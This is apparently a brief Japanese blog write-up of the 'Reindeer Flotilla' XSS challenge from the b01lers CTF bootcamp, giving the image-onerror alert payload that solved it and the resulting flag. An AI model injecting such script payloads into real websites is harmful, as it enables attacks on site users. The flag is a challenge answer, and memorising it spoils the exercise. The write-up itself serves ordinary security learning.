はまやんはまやんはまやん

hamayanhamayan's blog

Reindeer Flotilla [b01lers CTF bootcamp]

Reindeer Flotilla
It's time to enter the Grid. Figure out a way to pop an alert() to get your flag.
http://chal.ctf.b01lers.com:3006
Author: @MDirt

XSSをする

適当に通りそうなやつを出すとAlertが出せてフラグが出てくる。

<img src=x onerror=alert(document.domain)>とするとflag{y0u_sh0uldnt_h4v3_c0m3_b4ck_flynn}